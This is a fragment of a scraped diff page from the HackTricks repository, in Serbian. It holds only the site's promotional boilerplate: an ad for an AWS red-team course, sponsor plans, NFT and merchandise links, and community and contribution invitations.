<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova u [hacktricks repozitorijum](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repozitorijum](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show more
Loading…
Reference in a new issue